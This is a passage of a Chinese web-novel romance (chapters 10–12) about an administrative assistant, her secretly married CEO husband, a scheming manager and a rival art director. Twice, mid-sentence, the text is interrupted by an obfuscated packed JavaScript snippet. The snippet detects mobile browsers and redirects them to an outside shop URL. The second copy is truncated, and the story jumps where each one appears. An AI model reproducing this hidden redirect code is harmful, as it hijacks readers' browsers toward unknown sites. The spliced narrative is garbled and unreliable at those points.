热水袋被放得很整齐,接口朝外,像是怕她摸错了方向。 林知夏怔了一下,先拿起水杯喝了一口,是温的。然后纤长的手指,碰了一下那个电热水袋。 温度刚好,并不是烫,而是那种能慢慢能渗进身体里的热。 她喉咙发紧了一瞬。 其实她此前,从来没有跟沈砚舟说过,自己痛经的情况。 也从来没有说过,水要温的,热水袋不能太热,否则会适得其反。 手机震了一下,她低头看了一眼。 是沈砚舟发来的消息。 很短,只有一句——【水和热水袋都弄好了,还疼的话,药记得继续吃。】 她太习惯自己扛了。 以至于当有人不声不响地照顾她时,反而令她有点不知所措。 更不必提,这个人是沈砚舟。 【好,刚才麻烦你了。】林知夏伸手打字,给他回了一句消息。 发出去之后,她才慢慢躺回床上,把热水袋放在小腹上。 暖意一点点散开,她闭上眼睛,呼吸渐渐平缓下来。 迷迷糊糊间,她忽然记起一个细节,刚才确实是沈砚舟高大的身影,一路搀扶着她,回到出租屋里的。 因为他身上散发的雪松冷香,夹杂一点薄荷味漱口水的独特气息。 是她从高中开始,就一直记得很清楚的味道。 10. 第十章 下午两点,行政的部门会议开始了。 会议室不大,长桌两侧坐得满满当当,投影幕布亮着,空调温度调得偏低,空气里有一股长期封闭的冷气味。 林知夏坐在靠末的位置,笔记本放在桌前,手里的笔,从进会议开始就没有停过。 周明远坐在主位,手里翻着资料,动作不紧不慢,像是在刻意吊着人。 “这个项目的执行反馈,我看了一下。” 他抬起头,目光精准地落在后排的林知夏身上,“协调效率偏低。” 会议室里安静了一瞬。 林知夏指尖顿了一下,很快又恢复正常,继续记着。 “供应商反馈说,对接窗口反复变更,流程不清晰。”周明远语气不重,却句句都像是早就准备好的, “林知夏,这块你负责的吧?” 所有人的视线都转了过来。 她抬起头,神色平静:“是我负责协调的。” “那你解释一下。”周明远靠在椅背上,语气像是在给她机会,“为什么会出现这种问题?” 她张了张口,话还没出口,周明远却已经先一步接了下去。 “当然,我也能理解。”他笑了一下,意味不明,“毕竟有些人,是被沈总越级点名负责的,经验和能力,可能还需要一段时间适应。” 这句话落下,会议室里有一瞬极轻的骚动。 没人接话,却所有人都听懂了。 周明远这是在用下马威,提醒她——你不是被看重,你只是被盯着。 林知夏低头听完了那句话,看着笔记本上那一行整齐的字迹,喉咙像被什么轻轻堵住。 她当然知道,供应商顺序是周明远私下调整的。 她也知道,那份执行她是被要求“先做,回头补报”。 她甚至知道,如果现在开口反驳,流程、系统、邮件都能证明她是对的。 可她没有。 她太清楚了,在这个场合,说出“事实”并不会换来公正,只会换来更难堪的针对。 “周总,这部分确实是我考虑不周。”她抬头,声音不高,却稳,“我会再梳理一版流程。” 周明远看了她一眼,像是有些失望她没有反抗,又像是满意她的顺从。 “行,那就这样。”他合上文件,“下次注意。” 会议很快结束。 同事们陆续起身,有人投来同情的目光,却没人多说一句。 林知夏收拾资料的时候,手指有点发僵,她站起来时,背脊挺得很直,生怕被人看出来,她其实并不轻松。 包厢里灯光偏暗,酒杯碰撞的声音不轻不重。 桌上坐着的,都是江州商圈里熟面孔。 沈砚舟坐在主位,姿态放松,却始终保持着一种不近不远的距离感。 他不需要多说话,只要在关键时候点头、接一句,就足够让人安心。 许清禾坐在他身侧。 她今晚穿了一条剪裁利落,很衬气质的黑色连衣裙,妆容精致,整个人和这类商务场合融为一体。 她替他挡了两杯酒,也在合适的时候,把话题往集团之间的合作上引,一切都配合得恰到好处。 这是她擅长的领域。 “沈总,你身边这位许大美女,是你女朋友吧?”有人半真半假地笑着问。 沈砚舟抬眼,唇角带着一点浅淡的弧度:“朋友。” 两个字,不多不少。 既没否认,也没承认,却给了人无限的遐想空间。 许清禾手里的酒杯顿了一下,很快恢复如常,笑着接过话:“我们已经认识很多年了。” 她语气自然,没有一丝尴尬。 但只有她自己知道,那一瞬间,她心里其实有了答案——他给她的位置,永远是“方便介绍,却随时可以抽身”的那种。 后来有人提起拳击赛事,说起最近圈内有人迷上这项运动。 “沈总不是也喜欢?听说还拿过好几个地区冠军。”对方顺势搭话。 沈砚舟应了一声,语气很淡:“谈不上喜欢,解压而已。” 许清禾侧头看了他一眼。 她陪他来过不止一次这种场合,也见过他面对不同人的样子。 他此刻的状态,她再熟悉不过——理性占据上风,情绪被精准压缩,每一次回应,都是权衡后的结果。 他对她态度不差,甚至称得上温和。 可那种温和,更像是一种合情合理的礼貌,而不是偏爱。 包厢里又换了一轮酒。 话题在利润、并购、资源之间来回打转,语气热络,眼神里却都藏着精明的算盘。 沈砚舟靠向椅背,目光越过众人,落在窗外。 落地窗外是夜色里的江州,高楼灯火明亮,冷静而秩序分明,像一张张被反复使用过的桌牌,精确、稳固、循规蹈矩,没有惊喜,也没有新意。 就在这一瞬,他脑海里却毫无征兆地浮现出另一个画面。 草地、风声,白裙,还有她。 林知夏站在风里,仰着头望着风筝,笑得毫无防备,没有章法,眼睛亮得过分。 她手里的线被风拉紧,却没有慌张,反而顺着风的方向,自由而恣意的跑了几步,像是刚飞出了笼子的鸟。 这个念头来得太突兀。 沈砚舟指尖微不可察地收紧了一下。 他很快意识到,这不是一个该在此刻出现的画面,也不是一个该被允许继续延伸的联想。 他忽然生出一种说不清的厌倦。 不是对酒局,也不是对这些人。 而是对这种——每一步都被预期、每一句话都在既定轨道里的生活。 沈砚舟收回视线,端起酒杯,神色重新归于平静,仿佛什么都没有发生过。 同样,没有人发现他刚才那一瞬的走神,更没人知道,他的走神来自哪里。 酒局散得不算晚,包厢外的走廊灯光昏黄,地毯吸走了脚步声,只剩下低低的交谈和偶尔传来的笑声。 许清禾走在沈砚舟身侧。 “刚才那位陈董事,对你印象很好。”她语气自然,像是在随口帮他复盘。 沈砚舟“嗯”了一声,动作克制,神色依旧平静。 “他那边的资源,你接下来会用得上。”她看着前方,语调不疾不徐,“如果需要,我可以帮你牵线。” 这是示好,也是她一贯的方式——不把话说得太满,却始终把他们摆在并肩的位置上。 沈砚舟侧头看了她一眼:“你来接这个项目,正合适。”他说。 很客观的一句话。像是在评价她的能力,也像是在确认安排。 许清禾唇角微微弯了一下,却很快意识到什么。 他没有说“辛苦了”,也没有说“谢谢你”。更没有任何一句,超出工作范畴的话。 她太熟悉这种分寸感了。 这是沈砚舟惯用的方式——给位置、给资源、给认可,却从不多给半分私人情感。 许清禾想起高中的时候,她是校花,喜欢她的人很多,多到她回想时,都记不清具体的名字。 但在所有人里,她偏偏只注意到沈砚舟。 他成绩好,性子冷,对任何示好都礼貌而疏离。 可那种疏离感,对当时的她来说,近乎致命。她习惯被追逐,却还是第一次,主动去靠近一个人,主动追着一个人跑。 高三毕业那天,她站在教学楼后的小路上,第一次问他:“我们算不算在一起?” 他沉默了很久,久到她以为,自己会听见拒绝。 可最后,他点了头,说:“算。” 他们短暂的在一起几天,但一切都还来不及开始,她就被家里通知出国。 她很清楚,这是对她未来最好的选择。 那天晚上,她给沈砚舟打了电话。 电话那头很安静。 她说得很快,像是怕一停下来就会后悔:“我们……可能要先分开一段时间。” 他说:“好。”没有挽留,也没有质问。 可自那以后,她心里却始终没有再真正喜欢上谁,也从来没有放下过沈砚舟。 现在的他,更成熟了,更锋利了,也更难接近了,但她坚信,他和她一样,只是把那段时间,放得很深。 “你接下来还要回公司?”思绪回到现在,她试探性地问了一句。 沈砚舟脚步一顿,似乎想了一下。 “去趟拳击馆。”他抬起骨节修长的手指,扯了扯领带。 许清禾怔了一瞬,很快调整过来,边他笑了一下,语气自然地接了过去:“正好,我也有段时间没运动了……” 谁都知道,这是一次不动声色的靠近。 “下次吧,安排的司机在楼下,会送你回去。” 沈砚舟却径直打断了她的话,长腿一迈,高大的背影已经离去,丝毫没有给她选择的机会。 许清禾站在原地,看了许久。 林知夏走进公司附近,那家最大的拳击训练馆的时候,灯光比预想中还要亮。 白炽灯从高处打下来,照得训练区一片冷白,空气里混着橡胶、以及热火朝天的汗水咸味。 林知夏绑好拳套,站在沙袋前,肩背微微绷紧。 她深吸了一口气,挥拳,被压抑了一整天的情绪,仿佛在这一刻,终于得到了释放。 “砰——”闷响在空旷的场馆里回荡。 第二拳落下时,她的呼吸已经乱了,却没有停:“周明远……” 她低声狠狠的骂了一句,声音几乎被风声吞掉,“我揍烂你个大猪头!” 拳头砸在靶子上,力道不算标准,却很狠。 沈砚舟站在拳击口入口处的时候,刚好就看到了这一幕,脚步不自觉地停住了。 他本来只是临时起意,结束应酬后,闷得慌,想活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16992324|193772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动一下筋骨,却没想到会在这里看到她。 林知夏站在沙袋前,拳头落下的节奏并不快,却很稳,动作算不上标准,却明显不是新手。 灯光下的她,额角微微出汗,发丝被汗水打湿,贴在颈侧,贴身的白色运动服,被抻出一点褶皱,肩背的线条却绷得很直。 她整个人,看起来和白天公司里的样子完全不同。 没有谨慎、没有克制,更没有那种小心翼翼,维持秩序的安静,有的只是纯粹的发泄,带着一种倔强的狠劲。 像是终于被允许脱下所有面具,把力气全部用在自己身上。 沈砚舟站在那里,忽然意识到一件事——他今天一整晚,都在应付。 应付合作方、应付许清禾,应付那些被他精准控制在安全距离内的一切关系。 每一句话都计算过,每一个态度都收得很紧。 可此刻,在看到林知夏的这一瞬间,那些东西,好像突然就没那么重要了。 沈砚舟脑子里想起前几天晚上——她脸色发白,靠在车窗边,疼得几乎直不起腰,却一句抱怨都没有的画面。 他一直以为,她只是习惯忍。 无论是职场上,还是身体上,习惯把一切不舒服、不公平、不被善待的部分,全部往里压。 可现在,她站在沙袋前,出拳的样子,每一下都在否定他的判断。 她并非没有脾气,她只是把力气,用在了他看不见的地方。 “出拳的时候,别只靠手腕。”沈砚舟的声音兀然在林知夏身后响起,低而稳。 令她猛地一怔,拳头停在半空。 她回过头,目光落在沈砚舟身上那一瞬间,几乎被定住了。 无袖的黑色运动服紧贴着他宽阔的肩背,布料被精壮的薄肌自然撑起,胳膊上的青筋明显,腰腹肌肉线条利落,腿长而稳,身材近乎完美。 此刻,他与白天办公室里,被包裹在密不透风,定制西装里的那副模样完全不同,带着完全未经掩饰的野性与侵略感。 “沈……沈总?”林知夏下意识站直,心口一紧。 沈砚舟的目光在她身上停留了一瞬,从她浅粉色的拳套,到微微起伏的肩背。 “你学多久了?”他问,并不是审问,语气很直接。 林知夏迟疑了一下,还是如实回答:“一年多。” “一年多?” 他眉梢几不可察地动了一下,“为什么?” 她沉默了几秒,拳击馆里很安静,只剩下远处有人击靶的声响。 “最开始是想强身健体。”她低声说,“我身体不太好。” 这句话是真的,却不是全部。 她抿了抿唇,像是在权衡什么,最后还是继续说了下去:“后来……” 她声音更轻了一点,“是因为我母亲。” 沈砚舟的目光微微一凝。 “从她改嫁继父以后,日子就不太好过,我不希望我只能站在旁边,什么也做不了。” 林知夏盯着面前的沙袋,没有看他,语气停顿了一下,喉咙有点发紧,却还是把话说完了。 她想起记忆里的那个画面,被揍得鼻青脸肿的母亲,面对醉酒的继父时,眼里一闪而过的恐惧。 那时她只是个无能为力的学生,连把她拉到自己身后的底气都没有。 所以她来练拳击,是为了——如果有一天再发生,她至少能挡在她前面。 沈砚舟没有立刻说话,关于林知夏原生家庭的事,他知道的并不多,因为按照隐婚协议,那是属于她自己解决的范畴,他不需要干涉、更不需要了解。 但在这一刻,他忽然意识到,他一直以为的看起来柔弱,并不是林知夏的本质。 那只是她在不安全的环境里,学会的一种生存方式。 “你姿势不太对。”沈砚舟终于开口,语气却比刚才低了一点,“我教你。” 他说完,高大的身影,走到了她身侧:“重心放低,出拳要准。” 他宽大的手掌,扣住她纤细的手腕,替她调整角度,明明隔着黑色拳套和身上薄薄的运动服,炙热的体温,却清晰得过分。 林知夏整个人瞬间绷紧,呼吸不自觉地乱了一拍。 “用肩带动,不要急着用手出拳。”他站在她身后,距离近得几乎将她整个人圈住,“这样。” 他握着她的手,引着她挥出一拳,靶子发出沉闷而结实的一声响。 那力道,比她刚才的每一拳都要稳、都要重。 “对。”他说。 很简单的一个字,却让林知夏心脏猛地一跳。 她忽然清楚地意识到——他们之间的距离,实在近的太过分了,近的她能完全闻到他身上雪松和薄荷的味道。 沈砚舟仍然站在她身后,灼热的气息无法忽略。 拳套里,林知夏的手指,却不自觉地蜷紧,心跳失控般加快,快到她甚至根本不敢回头看他一眼。 11. 第十一章 “你的力道还是收得太死。”沈砚舟松开她的手腕,却没有立刻退开。 他说着,抬手示意她动作。 并没有再碰她,只是站在她身侧,用极近的距离亲自示范了一次。 空气被带动,凌厉的拳风从她眼前掠过。 那一瞬间,她甚至能感觉到他手臂肌肉绷紧又放松的节奏——干净、利落,却极具侵略性。 “好……”林知夏,本就掩饰不住一切反应的白皙脸颊透着绯红,她放下矜持,照着他的示范,打了一次。 这一次,她的动作明显顺了。 沈砚舟看了一眼,没有再纠正,只是淡淡地“嗯”了一声,像是默认她还不错。 “休息吧。”他说。 林知夏这才慢慢摘下拳套,指尖因为用力过度微微发麻,低头整理护腕的时候,呼吸仍有些乱,胸口起伏得比平时要快。 沈砚舟走到一旁,用毛巾擦汗,镜子里,两人的影子一前一后,隔着不远不近的距离。 林知夏抬头时,却正好在镜子里,对上了他的目光,完全猝不及防。 他看着她,没有说话。 那目光很短,并不完全冷静,像是被什么东西压住了,未及收敛。 她心口一紧。 “今天到这。”沈砚舟率先移开了视线,朝她开口,语气恢复了惯常的平稳,“你状态不适合再练。” 她点头:“好。” 可她很清楚,他所谓的“不适合”,似乎并不只是体力。 公司里还有事,沈砚舟没练多久,匆匆和她道了句别,高大的身影就离开了拳击馆。 拳击馆的灯光暗了下来,场馆里结束训练的铃声响起时,人群续散开,有人说笑,有人擦汗,脚步声与器械金属的声音,交错散开。 林知夏却站在原地,失速的心跳很久很久都没有平息下来…… ———— 几天后,各个部门的例行复盘会议,安排在了上午。 会议室里人到得很齐,投影幕布亮着,页面停在项目执行流程图上。 周明远坐在沈砚舟身旁的副位上,神情松弛,语气一贯从容。 “这次项目整体推进还算顺利。行政这边,主要还是协调的问题。” 他说着,目光自然地落在林知夏身上:“尤其是供应商衔接这一块,个别节点处理得不够灵活。” 这话一出,会议室里的人心里都明白——这又是在点她。 毕竟,上一次被要求“先执行、后补报”的,只有她一个。 林知夏坐在靠后的位置,背脊笔直,手指轻轻压着文件页角,没有抬头。 周明远翻到下一页,那是一张供应商执行顺序表。 “按照原计划,”他语气平稳,“A、B两家是并行推进,但考虑到时效,我当时临时调整了一下顺序,先走了B家。” 他说得很自然,像是在展示自己的应变能力:“林知夏负责执行,对吧?” 这是一个默认答案的问题。 所有人的视线,再一次落在了她身上。 林知夏站起身:“是。” 她应得很干脆。 周明远点了点头,像是对她的配合十分满意:“但我看到系统里,这一段被标成了‘待审批状态’。” 他抬眼,眉心微皱:“既然已经执行了,为什么没有直接走完流程?” 这一次,会议室里的空气明显绷紧了。 林知夏心里很清楚,这是个陷阱。 如果她说“是我忘了”,那就是工作失误;如果她说“当时有人让我先做”,那就是当众拆周明远的台。 但她却只是语气平静地开了口,像是在陈述一件再普通不过的事实:“因为当时的调整,并没有完成总部流程审批。” “按规定,我需要先执行,再在系统里保留原顺序,并标注为‘待审批’。” 她顿了顿,补了一句:“等审批通过后,状态才能改成‘已执行’。” 这一次,会议室里瞬间安静了几秒。 懂流程的人都听明白了——她确实执行了指令,但她没有替任何人,把违规变成既定事实。 周明远的表情,终于变了:“这是临时情况。” 他语气加重了一点,“项目现场不可能什么都等审批。” “我明白。”林知夏点头,她没有争辩,也没有反驳。 只是继续把话说完:“所以我没有阻止执行,也没有否决调整。只是按行政职责,把风险状态保留在系统里。” 这一刻,周明远才真正意识到问题出在哪里。 不是她没配合。而是她——配合得太规范了,规范到,他之前所有“先做再说”的操作,在系统里,都有迹可循。 他想继续说什么,却发现自己已经没有退路,再往下讲一句,就是向所有人亲口承认,公司流程都是他绕开的。 会议桌另一侧,沈砚舟始终没有开口。 他靠在椅背上,指尖随意地搭在桌沿,目光落在投影幕布上。 那一整套流程,是他定的。 他比任何人都清楚——系统里的“待审批状态”,意味着什么。 规则和流程,从来都是公司的边界。 他抬眼,看向站在会议室中央的林知夏。 她站得很直,神情安静,没有半点邀功的意思,像是从一开始,就只是打算把事情做到该有的样子。 那一刻,他忽然意识到,林知夏身上有一种并不张扬、却极其顽强的东西。 像是从石头夹缝里生长出来,穿过坚硬岩壁的生命力,安静,却不肯折断。 “林助理的这一项处理,没有问题。”沈砚舟终于开口,声音不高,却清晰。 落在周明远心里却如同千斤巨石,令他猛地一怔,立即看向他。 沈砚舟却将目光投向了在场的所有人:“行政的职责,本来就不是替任何人掩盖流程漏洞。提前标注风险,是本职工作。” 这句话落下的瞬间。 周明远的后背,几乎本能地绷紧了,立即渗出了冷汗来。 他第一次清楚地意识到——这件事,已经被看见了。 不是林知夏告的状,是系统自己,把一切摊开在台面上。 而沈砚舟,只是选择站在流程那一边。 会议很快结束,众人陆续起身。 周明远却站在原地,脸色有一瞬间的发白,手指无意识地攥紧了文件。 他终于意识到一个事实——这个他以为“没背景、好压”的下属,似乎并没有他想象中,那么好拿捏。 会议散了。人陆陆续续往外走,会议室里的紧绷感终于松下来。 林知夏收好资料,正准备离开,刚走到门口,就被人叫住了。 “知夏。”是行政部的小陈。 她朝四周看了一眼,确定周明远没跟出来,才压低声音凑过来。 “你刚才那一段,实在太稳了吧。”她说这话时,眼睛亮得不行。 旁边的几个同事也跟着围了过来。 “真的!” “我们刚才都替你捏了把汗,结果你一句多余的话都没说。” 有人忍不住小声吐槽:“他那套先做后补的操作,我们谁没被坑过。出事了永远都是我们背锅。” “还不让留痕迹。说什么‘灵活处理’!”语气里,是憋了很久的委屈和不满。 林知夏听着,并没有插话,她只是安静地站在那里,像是在听一件与自己无关的事。 有人看着她,忍不住又补了一句:“说真的,要不是你今天这么一出走流程,他以后还不知道要怎么折腾人。” “我们早就受够他那鸟气了!” 林知夏这才笑了一下,不是张扬的笑,只是唇角轻轻弯起,眼神柔和了一点。 “我也只是按流程做事。”她语气很平,“没想别的。” 她没有接“厉害”这个话头,也没有往自己身上揽功,像是这件事,在她这里已经翻篇。 有人看着她,忽然低声说了一句: “难怪沈总会让你直接向他汇报。”这句话说得很轻,却还是让几个同事,同时静了一下。 林知夏微微一怔,随即摇了摇头:“别乱说。事情做好就行。” 她说完这句话,抱着文件离开了会议室,走廊里光线有些幽暗,她的背影却走得很稳,不快不慢。 —— 上午十点,行政部内部系统更新了一条通知。 【项目协调权暂由总部直接收回,相关流程需二次审批。】 没有点名,但所有人都看得懂。 几分钟后,部门群里有人发了个鼓掌表情包,很快又撤回。 林知夏正核对资料,屏幕右下角弹出内网消息提示,是沈砚舟的私人助理发的: 【林助理,沈总让你去一趟他的总裁办公室。】 一路走过去,她的步伐依旧平稳,心跳却比刚才在会议室里快了半拍。 她心里很清楚,刚才那一场,已经不只是“项目处理得当”那么简单了。 总裁办公室的门关上,外面的声音被隔绝。 沈砚舟高大的身影,没有坐回办公桌,而是站在落地窗前,看向远处的城市风景。 窗外光线明亮,他的侧脸被勾勒得利落而冷静。 “周明远私下调整供应商顺序的事,你早就发现了?”沈砚舟问,没有铺垫,直接切入重点。 林知夏没有否认,只是平静回答:“发现得不算早,但在他让我先执行、回头补报的时候,就留了系统记录。” “为什么没当场提出来?”他低头看向她。 “没有证据,也没有必要。”她说,“流程本身就是证据。” 沈砚舟转过身,目光落在她脸上,多了几分她从未见过的欣赏。 “行政这个岗位,”他忽然开口,“很多人以为只是跑流程。” 他语气很淡,却像是在陈述某种被反复验证过的事实。 “但真正重要的是,是知道什么时候该按流程,什么时候该把流程变成防线。” 林知夏呼吸微微一滞,她没说话。 沈砚舟走回办公桌前,拉开抽屉,取出一份文件,推到她面前: “从下个月开始,行政部与总部对接的最终审核,直接走你这里。” 不是商量,而是决定。 这已经不是普通意义上的“认可”,而是权力的下放。 林知夏低头看着那份文件,指尖不自觉地收紧了一瞬。 她很清楚这意味着什么——意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下午,工作的间隙,林知夏难得去了一趟茶水间。 茶水间里弥漫着咖啡豆被研磨后的苦香。 林知夏把杯子放到咖啡机下,按下按钮,蒸汽轻轻响了一声。 她站得靠里,本来只是在等。 门外却传来脚步声,有人说话,声音压得不低,在议论:“你们听说了吗?许清禾这次回来,真是火力全开。” “什么意思?”有人立即兴致勃勃的追问。 “她送了礼物给沈总啊。” 林知夏的动作顿了一下,咖啡还在流,她却忘了去看。 “拳击手套,超级贵,私人定制的那种,带拳击明星的签名!”有人笑了一声,“你们不知道吧,沈总私下很喜欢拳击。” “真的假的?那也太懂他了吧,这种喜好,一般人哪知道。” “当然是真的,我朋友在市场部,说是许总监亲自挑的。” “那沈总收了?” “收了啊。”那人语气笃定,“据说还说了一句——‘有心了’。” 那三个字,被说得很轻,却清楚。 林知夏的指尖,慢慢收紧,她站在原地,没有动。 咖啡杯早已经满了,水面轻轻晃动,液体沿着杯沿溢出来,滴在托盘上,发出很轻的一声响。 她这才回过神,伸手去关机器,把杯子放回桌面。 门口的人已经走了,热闹的茶水间重新安静下来,像是什么都没发生过。 林知夏纤长指腹贴着瓷杯边缘,有点凉。 那天晚上的沈砚舟,冷静、专注,出拳的时候,速度却利落,精准、就像一头丝毫掩盖不住锋芒的野兽。 手把手教她技巧的时候,身体离她很近。 那种错觉,令她以为,她真的向他走近了一步。 ——但原来,并非如此。 其实,林知夏知道沈砚舟喜欢拳击,同样是在高中。 高一那年,学校第一次组建拳击社,她原本连拳击是什么都不清楚,只知道那天体育馆很吵,观众席上坐满了人。 她是被同桌硬拉过去的。 灯光很亮,场地中央站着一个身材高大的少年,眉骨高挺清晰,目光凌厉。 黑色拳套、护具齐全,蓝白色校服随着他的出拳,偶尔上去一部分,露出劲瘦的腰腹——沈砚舟。 他站在场上时,和平时不一样,没有课桌前的冷淡疏离,也没有走廊里的漫不经心。 那一刻的他,目光专注,肩背绷紧,出拳干脆利落,带着少年特有的锋芒与狠劲。 后来她才知道,他是拳击社的主力,代表学校参加过市级、高中联赛,不止一次。 冠军奖杯被摆在体育馆的玻璃柜里,铭牌上刻着他的名字。 她记得很清楚,因为她曾经站在那块玻璃前,看了很久,久到连校园管理员,都忍不住看她一眼。 她没有加入拳击社,只是开始在放学后,绕远路经过体育馆。 有时隔着门,看见他戴着拳套训练;有时只听见击打沙袋的声音,一下又一下,沉闷而有节奏。 她从不进去。 她不敢。 她只是站在走廊尽头,假装低头看书。 后来,她开始偷偷查拳击的规则,看比赛视频,记住那些基础动作。 再后来,她报名了校外的拳击课。 那天沈砚舟问她为什么会去学拳击,她给了他两个原因。 但其实最重要的一条原因,被她深深埋在了心底,没有向他提起: ——她学拳击,也是因为他。 12. 第十二章 日子就这样不咸不淡的过去了,随着许清禾作为艺术总监入职,集团许多新的艺术项目,也都开始落地运行。 这一次是几个月以来,一次最大的跨部门联合会议,行政部、艺术部、市场部都在场。 长桌两侧坐满了人,投影幕布上是新一轮艺术展厅调整方案的流程图。 林知夏坐在靠后的位置,起身汇报时,手里捏着笔,指腹压在纸页边缘,留下一点几乎看不出来的折痕。 她的语气自信,逻辑清楚:“如果按现有动线,人流在主展区会形成回流,安保和应急疏散压力会比较大。” 她停顿了一下,接着补充道,“行政部这边建议,在入口处分流,艺术装置稍作前移。” 她说完,抬眼看向主位的沈砚舟。 他坐在那里,神情冷静,手指在桌面上轻轻点了一下,没有立刻开口。 会议室安静下来,这种短暂的安静,往往意味着意见正在被权衡。 林知夏的心,微微提起。 自从沈砚舟给了她直接与总部对接的权利以后,她总下意识的希望,自己能够做得更好。 不仅仅是为了证明自己的能力给他看,也是为了给行政部其他同事们看,她能接得住这份特权。 “这个方案,”沈砚舟视线在她脸上短暂停留,终于开口,说出的话却与她预期相反“不太合适。” 林知夏指尖一紧。 她还没来得及说话,许清禾已经顺势把话接了过去:“我这边有另一种想法。” 她语气温和,从容地调出另一页设计稿:“如果入口不做明显分流,而是通过视觉引导,让人自然停留在核心区域,反而能提升整体沉浸感。” 许清禾说话的时候,目光偶尔会看向沈砚舟,不是征询,更像是一种已经形成默契的交流。 林知夏坐在那里,忽然意识到一件事——她的方案,似乎已经不重要了。 “就按清禾的思路来。”沈砚舟没有再多讨论,直接下了结论,“由行政部配合艺术部执行。” 他的语气平稳,干脆利落,就像是在处理一件早就想好的事。 会议室里响起几声低低的回应。 有人点头,有人翻页。流程继续往下走,没有人再提起她刚才的那份建议。 林知夏低下头,在纸上记下“调整执行方案”几个字。她的字迹依旧工整,只是笔尖在落下最后一笔时,轻微地顿了一下。 许清禾合上手里的文件,动作很慢。 她并没有立刻去看沈砚舟,而是偏过头,看向林知夏。 那一眼,极短,像是不经意地掠过,却又精准地落在她身上。 随后,她笑了。 不是张扬的笑,也不是胜利者的得意,只是唇角轻轻弯起的弧度,克制、得体,甚至称得上温和。 却让人无端生出一种错觉——仿佛她早就知道,结果会是这样。 林知夏心口微微一紧。 那个笑容转瞬即逝。 许清禾已经重新低下头,收拾资料,像什么都没发生过。 可林知夏却清楚地意识到——那是一种确认,确认她看见了。 她告诉自己,这很正常。 许清禾是艺术总监,是核心部门负责人,级别比她高得多,她的方案被采纳,本来就是大概率事件。 而她只是一个小小的行政助理。 只是——如果不是知道许清禾送拳击手套的事,听到那句“有心了”。 她或许还能把这一切,完全归结为工作。 可现在不行。 她无法不去想——是不是在他眼里,她的方案从一开始,就没有被认真考虑过。 而原因,是因为提出另一套方案的人,是许清禾。 会议结束,人群陆续起身。 有人经过她身边,低声说了一句:“别放在心上。”语气很轻,像是默认的安慰。 林知夏收拾文件,站起身。她抬头的时候,正好看见许清禾站在沈砚舟身侧,两人低声交谈着什么。 距离不近,却足够自然。 她忽然意识到一个事实——在所有人都看得见的地方,他选择站在许清禾那一边。 哪怕只是一次方案。可对她来说,这却像是一种清晰而残忍的对照。 她不是不知道自己的位置。 只是这一刻,酸意来得太快,她甚至来不及压下去。 她很快移开视线,抱着文件走出会议室,瘦削的背影依旧笔直。但没有人发现,她握住文件夹边缘的指尖,用力到微微发白。 —— 回到工位上,林知夏收到一条闺蜜发来的微信消息 【陆言】:今天怎么这么沉默? 林知夏盯着那行字看了几秒,才回了一句:有点累。 那头很快回了过来。 【陆言】:是“被工作累”,还是“被人累”? 林知夏的指尖停了一下。 她忽然意识到,在所有人面前,她都可以把情绪收得很好,唯独在陆言这里,没必要。 【林知夏】:今天开会,他没采纳我的方案。 她删掉了后面那句“而是选了许清禾的”。 可陆言却像是已经猜到了一样,像她肚子里的蛔虫。 【陆言】:他当众选了别人? 林知夏闭了闭眼。 【林知夏】:嗯。 那边沉默了几秒。 【陆言】:那你现在难受,是因为工作,还是因为你以为—— 她没有打完,但林知夏已经懂了。 她回了一句:我不知道。 【陆言】:那就先别急着给他找理由。 你记住一件事就行——你不是因为喜欢他,才值得被认真对待的,林知夏,你本来就很棒! 手机屏幕很快暗下去。 林知夏眼眶却有些发涩,坐在工位上,很久没有再动。 ———— 夜色被压得很低。 江州金融区顶层的雪茄吧里,灯光昏暗,玻璃外是整座城市的霓虹线条,像一张无声流动的网。 沈砚舟靠在吧台一侧,西装外套随手搭在椅背,白衬衫袖口挽到小臂,线条干净利落。 他没有说话,只是慢条斯理地剪开雪茄,动作极稳。 坐在他对面的,是从小一起长大的发小,顾呈。 两家是世交,生意也一直有往来,今晚聊的,是一笔刚敲定的并购案,金额以“亿”为单位起跳。 话题本该严肃,可顾呈看了他一眼,忽然笑了一下,语气像随口一提:“你最近倒是安静。” 沈砚舟抬眼:“哪方面?” “哪方面都安静。”顾呈点燃雪茄,吐出一口烟,“以前你不是这样的。” 沈砚舟没接话,只是淡淡吸了一口,烟雾在唇齿间停留了一瞬,又被压回去。 顾呈像是想起什么,低声笑了一下:“前阵子在沪城见到秦蔓了。” 这个名字落下来时,语气不轻不重。 秦蔓,美女律师,商界新贵,家世、能力、名声都摆在那里,和沈砚舟当年那段关系,在圈子里并不算秘密。 沈砚舟的眉心几不可察地动了一下。 “她提到你。”顾呈慢悠悠地说,“说你这个人,一向让人记得很久。” 他说这话时,没有任何露骨的意味,甚至算得上克制。 但雪茄吧里这种半暗的空间,本就适合让人自动补全未说出口的部分。 沈砚舟的语气很平:“她记性一向不错。” 顾呈挑眉:“就一次,也够她念念不忘了。” 这句话落下,空气里有一瞬间的停顿,不是尴尬,而是那种被点到,却无人需要解释的默契。 沈砚舟抬起骨节修长的手,轻轻在烟灰缸边弹了下烟灰,动作不疾不徐,连指尖都显得克制。 “过去的事,不值得反复提。”他说。 顾呈盯着他看了两秒,忽然笑了:“你还是老样子。” “哪样?” “什么都很清楚,什么时候该停,什么时候该继续。”顾呈语气懒散,“难怪这么多年,江州商圈里提起你,都一个评价。” 沈砚舟没问是什么评价。 顾呈却主动补了一句:“条件好,位置高,人也冷。看着不好接近,真靠近了,反而更危险。” 这话说得不算恭维,却很实在。 沈砚舟没否认,只是把雪茄放回唇边,眼睫在烟雾里低垂,神色淡漠。 顾呈忽然又像想起什么,随口道:“不过你最近,倒像是有点不一样。” 沈砚舟侧目。 “以前你对这种场合,耐心有限。”顾呈示意了一下四周,“现在还能坐这么久。” 